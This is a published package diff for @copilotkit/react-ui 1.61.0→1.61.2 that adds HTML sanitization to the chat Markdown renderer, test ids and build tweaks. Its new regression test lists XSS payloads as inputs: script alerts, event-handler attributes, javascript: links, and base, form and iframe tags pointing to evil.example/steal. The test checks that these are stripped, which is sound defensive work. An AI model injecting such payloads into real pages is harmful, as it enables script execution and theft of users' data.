@copilotkit/react-ui 1.61.0 → 1.61.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/index.cjs +11 -2
- package/dist/index.cjs.map +1 -1
- package/dist/index.d.cts.map +1 -1
- package/dist/index.d.mts.map +1 -1
- package/dist/index.mjs +10 -2
- package/dist/index.mjs.map +1 -1
- package/dist/index.umd.js +14 -6
- package/dist/index.umd.js.map +1 -1
- package/package.json +8 -6
- package/src/components/chat/Input.tsx +3 -1
- package/src/components/chat/Markdown.tsx +6 -3
- package/src/components/chat/Markdown.xss.test.ts +170 -0
- package/src/components/chat/Textarea.tsx +3 -0
- package/src/components/chat/input.testids.test.ts +47 -0
- package/src/index.tsx +0 -1
- package/tsdown.config.ts +1 -1
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@copilotkit/react-ui",
|
|
3
|
-
"version": "1.61.
|
|
3
|
+
"version": "1.61.2",
|
|
4
4
|
"private": false,
|
|
5
5
|
"keywords": [
|
|
6
6
|
"ai",
|
|
@@ -46,11 +46,12 @@
|
|
|
46
46
|
"react-markdown": "^10.1.0",
|
|
47
47
|
"react-syntax-highlighter": "^15.6.1",
|
|
48
48
|
"rehype-raw": "^7.0.0",
|
|
49
|
+
"rehype-sanitize": "^6.0.0",
|
|
49
50
|
"remark-gfm": "^4.0.1",
|
|
50
51
|
"remark-math": "^6.0.0",
|
|
51
|
-
"@copilotkit/react-core": "1.61.
|
|
52
|
-
"@copilotkit/shared": "1.61.
|
|
53
|
-
"@copilotkit/runtime-client-gql": "1.61.
|
|
52
|
+
"@copilotkit/react-core": "1.61.2",
|
|
53
|
+
"@copilotkit/shared": "1.61.2",
|
|
54
|
+
"@copilotkit/runtime-client-gql": "1.61.2"
|
|
54
55
|
},
|
|
55
56
|
"devDependencies": {
|
|
56
57
|
"@types/react": "^19.1.0",
|
|
@@ -58,12 +59,13 @@
|
|
|
58
59
|
"eslint": "^8.56.0",
|
|
59
60
|
"postcss": "^8.4.20",
|
|
60
61
|
"react": "^18.2.0",
|
|
62
|
+
"react-dom": "^19.2.0",
|
|
61
63
|
"tailwindcss": "^3.3.0",
|
|
62
64
|
"tsdown": "^0.20.3",
|
|
63
65
|
"typescript": "^5.2.3",
|
|
64
66
|
"vitest": "^3.2.4",
|
|
65
|
-
"
|
|
66
|
-
"
|
|
67
|
+
"tsconfig": "1.4.12",
|
|
68
|
+
"tailwind-config": "1.4.12"
|
|
67
69
|
},
|
|
68
70
|
"peerDependencies": {
|
|
69
71
|
"react": "^18 || ^19 || ^19.0.0-rc"
|
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
import React, { useMemo, useRef, useState } from "react";
|
|
2
|
-
import { InputProps } from "./props";
|
|
2
|
+
import type { InputProps } from "./props";
|
|
3
3
|
import { useChatContext } from "./ChatContext";
|
|
4
4
|
import AutoResizingTextarea from "./Textarea";
|
|
5
5
|
import { usePushToTalk } from "../../hooks/use-push-to-talk";
|
|
@@ -120,6 +120,7 @@ export const Input = ({
|
|
|
120
120
|
autoFocus={false}
|
|
121
121
|
maxRows={MAX_NEWLINES}
|
|
122
122
|
value={text}
|
|
123
|
+
data-testid="copilot-chat-textarea"
|
|
123
124
|
onChange={(event) => setText(event.target.value)}
|
|
124
125
|
onCompositionStart={() => setIsComposing(true)}
|
|
125
126
|
onCompositionEnd={() => setIsComposing(false)}
|
|
@@ -161,6 +162,7 @@ export const Input = ({
|
|
|
161
162
|
disabled={sendDisabled}
|
|
162
163
|
onClick={isInProgress && !hideStopButton ? onStop : send}
|
|
163
164
|
data-copilotkit-in-progress={inProgress}
|
|
165
|
+
data-testid="copilot-send-button"
|
|
164
166
|
data-test-id={
|
|
165
167
|
inProgress
|
|
166
168
|
? "copilot-chat-request-in-progress"
|
|
@@ -1,9 +1,12 @@
|
|
|
1
|
-
import { FC
|
|
2
|
-
import
|
|
1
|
+
import type { FC } from "react";
|
|
2
|
+
import { memo, useMemo } from "react";
|
|
3
|
+
import type { Options, Components } from "react-markdown";
|
|
4
|
+
import ReactMarkdown from "react-markdown";
|
|
3
5
|
import { CodeBlock } from "./CodeBlock";
|
|
4
6
|
import remarkGfm from "remark-gfm";
|
|
5
7
|
import remarkMath from "remark-math";
|
|
6
8
|
import rehypeRaw from "rehype-raw";
|
|
9
|
+
import rehypeSanitize from "rehype-sanitize";
|
|
7
10
|
|
|
8
11
|
const defaultComponents: Components = {
|
|
9
12
|
a({ children, ...props }) {
|
|
@@ -148,7 +151,7 @@ export const Markdown = ({
|
|
|
148
151
|
[remarkPlugins],
|
|
149
152
|
);
|
|
150
153
|
const mergedRehypePlugins = useMemo<Options["rehypePlugins"]>(
|
|
151
|
-
() => [rehypeRaw, ...(rehypePlugins ?? [])],
|
|
154
|
+
() => [rehypeRaw, ...(rehypePlugins ?? []), rehypeSanitize],
|
|
152
155
|
[rehypePlugins],
|
|
153
156
|
);
|
|
154
157
|
return (
|
|
@@ -0,0 +1,170 @@
|
|
|
1
|
+
import React from "react";
|
|
2
|
+
import { renderToStaticMarkup } from "react-dom/server";
|
|
3
|
+
import { Markdown } from "./Markdown";
|
|
4
|
+
|
|
5
|
+
/**
|
|
6
|
+
* Security regression test: the legacy Markdown renderer uses
|
|
7
|
+
* react-markdown + rehype-raw, which parses raw HTML embedded in
|
|
8
|
+
* assistant/model output. Without an HTML sanitizer, that raw HTML
|
|
9
|
+
* reaches the DOM verbatim — a High-severity XSS sink (CWE-79).
|
|
10
|
+
*
|
|
11
|
+
* These tests render the REAL <Markdown> component (the same default
|
|
12
|
+
* path as AssistantMessage) and assert that dangerous raw-HTML
|
|
13
|
+
* payloads are stripped from the rendered output, while legitimate
|
|
14
|
+
* Markdown/GFM features continue to render.
|
|
15
|
+
*
|
|
16
|
+
* The file is a `.ts` (not `.tsx`) test using React.createElement
|
|
17
|
+
* because the vitest config only matches the `.ts` test glob in a node
|
|
18
|
+
* environment. We render with react-dom/server so the assertions
|
|
19
|
+
* exercise the actual production rendering pipeline.
|
|
20
|
+
*/
|
|
21
|
+
|
|
22
|
+
const h = React.createElement;
|
|
23
|
+
|
|
24
|
+
function render(
|
|
25
|
+
content: string,
|
|
26
|
+
rehypePlugins?: React.ComponentProps<typeof Markdown>["rehypePlugins"],
|
|
27
|
+
): string {
|
|
28
|
+
return renderToStaticMarkup(
|
|
29
|
+
h(Markdown, rehypePlugins ? { content, rehypePlugins } : { content }),
|
|
30
|
+
);
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
describe("Markdown XSS sanitization", () => {
|
|
34
|
+
describe("dangerous raw HTML is stripped", () => {
|
|
35
|
+
it("strips <script> tags", () => {
|
|
36
|
+
const html = render('Hello <script>alert("xss")</script> world');
|
|
37
|
+
expect(html).not.toMatch(/<script/i);
|
|
38
|
+
expect(html).not.toContain('alert("xss")');
|
|
39
|
+
});
|
|
40
|
+
|
|
41
|
+
it("strips <style> tags (CSS exfiltration / clickjacking)", () => {
|
|
42
|
+
const html = render(
|
|
43
|
+
"Hello <style>body { background: url('//evil') }</style> world",
|
|
44
|
+
);
|
|
45
|
+
// The <style> ELEMENT must not survive — that is the active sink.
|
|
46
|
+
// rehype-sanitize drops the element but keeps its (now inert) text,
|
|
47
|
+
// which is harmless escaped text, not a stylesheet.
|
|
48
|
+
expect(html).not.toMatch(/<style/i);
|
|
49
|
+
// The CSS payload must not survive as a functional stylesheet. Because
|
|
50
|
+
// the <style> element is stripped, the url('//evil') declaration can
|
|
51
|
+
// only appear (if at all) as inert escaped text, never inside a live
|
|
52
|
+
// <style> block where it would fetch the resource.
|
|
53
|
+
expect(html).not.toMatch(/<style[^>]*>[^<]*url\(/i);
|
|
54
|
+
});
|
|
55
|
+
|
|
56
|
+
it("strips <base href> (base-tag hijacking)", () => {
|
|
57
|
+
const html = render('Hello <base href="https://evil.example/"> world');
|
|
58
|
+
expect(html).not.toMatch(/<base/i);
|
|
59
|
+
expect(html).not.toContain("evil.example");
|
|
60
|
+
});
|
|
61
|
+
|
|
62
|
+
it("strips <form action> and <button formaction>", () => {
|
|
63
|
+
const html = render(
|
|
64
|
+
'Hi <form action="https://evil.example/steal">' +
|
|
65
|
+
'<button formaction="https://evil.example/steal">go</button>' +
|
|
66
|
+
"</form>",
|
|
67
|
+
);
|
|
68
|
+
expect(html).not.toMatch(/<form/i);
|
|
69
|
+
expect(html).not.toMatch(/formaction/i);
|
|
70
|
+
expect(html).not.toContain("evil.example");
|
|
71
|
+
});
|
|
72
|
+
|
|
73
|
+
it("strips inline event handlers (onerror/onclick)", () => {
|
|
74
|
+
const html = render(
|
|
75
|
+
'Look <img src="x" onerror="alert(1)"> and ' +
|
|
76
|
+
'<a href="#" onclick="alert(2)">link</a>',
|
|
77
|
+
);
|
|
78
|
+
expect(html).not.toMatch(/onerror/i);
|
|
79
|
+
expect(html).not.toMatch(/onclick/i);
|
|
80
|
+
expect(html).not.toContain("alert(1)");
|
|
81
|
+
expect(html).not.toContain("alert(2)");
|
|
82
|
+
});
|
|
83
|
+
|
|
84
|
+
it("strips javascript: URLs from links", () => {
|
|
85
|
+
// eslint-disable-next-line no-script-url
|
|
86
|
+
const html = render("[click](javascript:alert(1))");
|
|
87
|
+
expect(html).not.toContain("javascript:alert(1)");
|
|
88
|
+
// The href must be neutralized — not merely the payload string absent.
|
|
89
|
+
// A partially-broken sanitizer could drop the args but keep the scheme.
|
|
90
|
+
expect(html).not.toMatch(/href="javascript:/i);
|
|
91
|
+
});
|
|
92
|
+
|
|
93
|
+
it("strips <iframe>", () => {
|
|
94
|
+
const html = render(
|
|
95
|
+
'Hi <iframe src="https://evil.example"></iframe> bye',
|
|
96
|
+
);
|
|
97
|
+
expect(html).not.toMatch(/<iframe/i);
|
|
98
|
+
expect(html).not.toContain("evil.example");
|
|
99
|
+
});
|
|
100
|
+
|
|
101
|
+
it("sanitizes HTML injected by a consumer rehype plugin (sanitize must run last)", () => {
|
|
102
|
+
// A malicious/compromised consumer-supplied rehype plugin injects a
|
|
103
|
+
// raw <script> element directly into the HAST. rehype-sanitize must be
|
|
104
|
+
// the TERMINAL rehype pass so that ANY node a consumer plugin adds is
|
|
105
|
+
// still scrubbed. If consumer plugins run after sanitize, this payload
|
|
106
|
+
// survives to output — a sanitizer bypass (CWE-79).
|
|
107
|
+
const injectScript = () => (tree: any) => {
|
|
108
|
+
tree.children.push({
|
|
109
|
+
type: "element",
|
|
110
|
+
tagName: "script",
|
|
111
|
+
properties: {},
|
|
112
|
+
children: [{ type: "text", value: 'alert("pwned")' }],
|
|
113
|
+
});
|
|
114
|
+
};
|
|
115
|
+
const html = render("safe content", [injectScript]);
|
|
116
|
+
expect(html).not.toMatch(/<script/i);
|
|
117
|
+
expect(html).not.toContain('alert("pwned")');
|
|
118
|
+
});
|
|
119
|
+
});
|
|
120
|
+
|
|
121
|
+
describe("legitimate markdown features are preserved", () => {
|
|
122
|
+
it("renders headings, paragraphs, and links", () => {
|
|
123
|
+
const html = render(
|
|
124
|
+
"# Title\n\nSome **bold** [link](https://ok.example)",
|
|
125
|
+
);
|
|
126
|
+
expect(html).toMatch(/<h1[^>]*>/i);
|
|
127
|
+
expect(html).toContain("Title");
|
|
128
|
+
expect(html).toContain("https://ok.example");
|
|
129
|
+
expect(html).toMatch(/<strong>bold<\/strong>/i);
|
|
130
|
+
});
|
|
131
|
+
|
|
132
|
+
it("preserves language-* className on code blocks (syntax highlighting)", () => {
|
|
133
|
+
const html = render("```js\nconst x = 1;\n```");
|
|
134
|
+
// The CodeBlock renderer is driven by the language-js className that
|
|
135
|
+
// react-markdown derives from the fenced-code info string. Sanitize
|
|
136
|
+
// must not strip the class attribute that selects the language, and
|
|
137
|
+
// the highlighted code content must survive (the syntax highlighter
|
|
138
|
+
// tokenizes it across spans, so assert on the tokens, not a verbatim
|
|
139
|
+
// contiguous string).
|
|
140
|
+
//
|
|
141
|
+
// Assert language-js survives as an actual sanitized class ATTRIBUTE
|
|
142
|
+
// (class="...language-js...") rather than as a bare substring that a
|
|
143
|
+
// highlighter span or inline style could incidentally emit. This proves
|
|
144
|
+
// rehype-sanitize kept the class attribute on the code element.
|
|
145
|
+
expect(html).toMatch(/class="[^"]*\blanguage-js\b[^"]*"/);
|
|
146
|
+
expect(html).toMatch(/const/);
|
|
147
|
+
expect(html).toMatch(/x/);
|
|
148
|
+
expect(html).toMatch(/1/);
|
|
149
|
+
});
|
|
150
|
+
|
|
151
|
+
it("renders GFM tables", () => {
|
|
152
|
+
const md = ["| a | b |", "| - | - |", "| 1 | 2 |"].join("\n");
|
|
153
|
+
const html = render(md);
|
|
154
|
+
expect(html).toMatch(/<table/i);
|
|
155
|
+
expect(html).toMatch(/<td[^>]*>1<\/td>/i);
|
|
156
|
+
});
|
|
157
|
+
|
|
158
|
+
it("renders GFM strikethrough", () => {
|
|
159
|
+
const html = render("~~gone~~");
|
|
160
|
+
expect(html).toMatch(/<del>gone<\/del>/i);
|
|
161
|
+
});
|
|
162
|
+
|
|
163
|
+
it("preserves the streaming cursor marker", () => {
|
|
164
|
+
// The Markdown component renders a pulsing span for the ▍ cursor
|
|
165
|
+
// emitted during streaming. Sanitization must not remove it.
|
|
166
|
+
const html = render("partial answer `▍`");
|
|
167
|
+
expect(html).toContain("▍");
|
|
168
|
+
});
|
|
169
|
+
});
|
|
170
|
+
});
|
|
@@ -15,6 +15,7 @@ interface AutoResizingTextareaProps {
|
|
|
15
15
|
onCompositionStart?: () => void;
|
|
16
16
|
onCompositionEnd?: () => void;
|
|
17
17
|
autoFocus?: boolean;
|
|
18
|
+
"data-testid"?: string;
|
|
18
19
|
}
|
|
19
20
|
|
|
20
21
|
const AutoResizingTextarea = forwardRef<
|
|
@@ -31,6 +32,7 @@ const AutoResizingTextarea = forwardRef<
|
|
|
31
32
|
onCompositionStart,
|
|
32
33
|
onCompositionEnd,
|
|
33
34
|
autoFocus,
|
|
35
|
+
"data-testid": dataTestId,
|
|
34
36
|
},
|
|
35
37
|
ref,
|
|
36
38
|
) => {
|
|
@@ -69,6 +71,7 @@ const AutoResizingTextarea = forwardRef<
|
|
|
69
71
|
return (
|
|
70
72
|
<textarea
|
|
71
73
|
ref={internalTextareaRef}
|
|
74
|
+
data-testid={dataTestId}
|
|
72
75
|
value={value}
|
|
73
76
|
onChange={onChange}
|
|
74
77
|
onKeyDown={onKeyDown}
|
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
import { readFileSync } from "fs";
|
|
2
|
+
import { resolve } from "path";
|
|
3
|
+
|
|
4
|
+
/**
|
|
5
|
+
* Verifies stable `data-testid` markers exist on the CopilotChat input controls
|
|
6
|
+
* so e2e tests (e.g. Playwright) can deterministically locate the textarea and
|
|
7
|
+
* send button on the default `<CopilotChat>` surface. See GitHub issue #4215.
|
|
8
|
+
*
|
|
9
|
+
* The selector names mirror the V2 components in
|
|
10
|
+
* `@copilotkit/react-core` (`copilot-chat-textarea`, `copilot-send-button`) so a
|
|
11
|
+
* test recipe written against V2 carries over to the default surface unchanged.
|
|
12
|
+
*
|
|
13
|
+
* This runs in the package's node test environment (no DOM), so it asserts the
|
|
14
|
+
* wiring at the source level. Crucially it checks BOTH that `Input.tsx` passes
|
|
15
|
+
* the testid AND that `Textarea.tsx` forwards it onto the rendered `<textarea>`:
|
|
16
|
+
* `AutoResizingTextarea` destructures a fixed prop set with no `{...rest}`
|
|
17
|
+
* spread, so a testid passed from `Input.tsx` is silently dropped unless the
|
|
18
|
+
* inner component explicitly declares and applies it.
|
|
19
|
+
*/
|
|
20
|
+
|
|
21
|
+
const inputPath = resolve(__dirname, "Input.tsx");
|
|
22
|
+
const textareaPath = resolve(__dirname, "Textarea.tsx");
|
|
23
|
+
|
|
24
|
+
const inputSrc = readFileSync(inputPath, "utf-8");
|
|
25
|
+
const textareaSrc = readFileSync(textareaPath, "utf-8");
|
|
26
|
+
|
|
27
|
+
describe("CopilotChat input stable testids", () => {
|
|
28
|
+
it("Input passes the copilot-chat-textarea testid to the textarea", () => {
|
|
29
|
+
expect(inputSrc).toMatch(/data-testid="copilot-chat-textarea"/);
|
|
30
|
+
});
|
|
31
|
+
|
|
32
|
+
it("Input puts the copilot-send-button testid on the send control", () => {
|
|
33
|
+
expect(inputSrc).toMatch(/data-testid="copilot-send-button"/);
|
|
34
|
+
});
|
|
35
|
+
|
|
36
|
+
it("Input preserves the legacy data-test-id for back-compat", () => {
|
|
37
|
+
expect(inputSrc).toMatch(/data-test-id=/);
|
|
38
|
+
expect(inputSrc).toMatch(/copilot-chat-ready/);
|
|
39
|
+
});
|
|
40
|
+
|
|
41
|
+
it("Textarea declares and forwards data-testid onto the inner textarea", () => {
|
|
42
|
+
// Declared on the props interface...
|
|
43
|
+
expect(textareaSrc).toMatch(/"data-testid"\?: string/);
|
|
44
|
+
// ...and actually applied to the rendered <textarea> (the dropped-prop guard).
|
|
45
|
+
expect(textareaSrc).toMatch(/data-testid=\{dataTestId\}/);
|
|
46
|
+
});
|
|
47
|
+
});
|
package/src/index.tsx
CHANGED
package/tsdown.config.ts
CHANGED
|
@@ -36,8 +36,8 @@ export default defineConfig([
|
|
|
36
36
|
"@copilotkit/shared",
|
|
37
37
|
"@copilotkit/runtime-client-gql",
|
|
38
38
|
],
|
|
39
|
-
codeSplitting: false,
|
|
40
39
|
outputOptions(options) {
|
|
40
|
+
options.codeSplitting = false;
|
|
41
41
|
options.entryFileNames = "[name].umd.js";
|
|
42
42
|
options.globals = {
|
|
43
43
|
react: "React",
|